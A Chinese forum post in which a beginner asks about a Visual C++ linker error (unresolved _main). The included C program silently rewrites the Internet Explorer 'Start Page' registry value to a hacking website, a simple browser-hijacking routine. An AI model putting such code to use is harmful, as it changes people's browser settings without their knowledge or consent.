程序中的错误!
我是新手帮忙看看,这是什么错误啊?
#include <stdio.h>
#include <windows.h>
#include <Winreg.h>
//用于修改字符串类型键值
void CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
{
HKEY hKey;
//打开注册表键,不存在则创建它
long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
if (lRet!=ERROR_SUCCESS)
{
printf("error no RegCreateKeyEx %s\n", szSubKey);
return ;
}
//修改注册表键值,没有则创建它
lRet=RegSetValueEx(hKey,ValueName,0,REG_SZ,(BYTE*)Data,strlen(Data));
if (lRet!=ERROR_SUCCESS)
{
printf("error no RegSetValueEx %s\n", ValueName);
return ;
}
RegCloseKey(hKey);
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//要修改成的网址
char StartPage[255]="http://www.nohack.cn/";
//调用修改字符串类型键值的函数
CreateStringReg(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Explorer\\Main", "Start Page",StartPage);
return 0;
}
--------------------Configuration: Web - Win32 Debug--------------------
Compiling...
WebEx.cpp
Linking...
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _main
Debug/Web.exe : fatal error LNK1120: 1 unresolved externals
Error executing link.exe.
Web.exe - 2 error(s), 0 warning(s)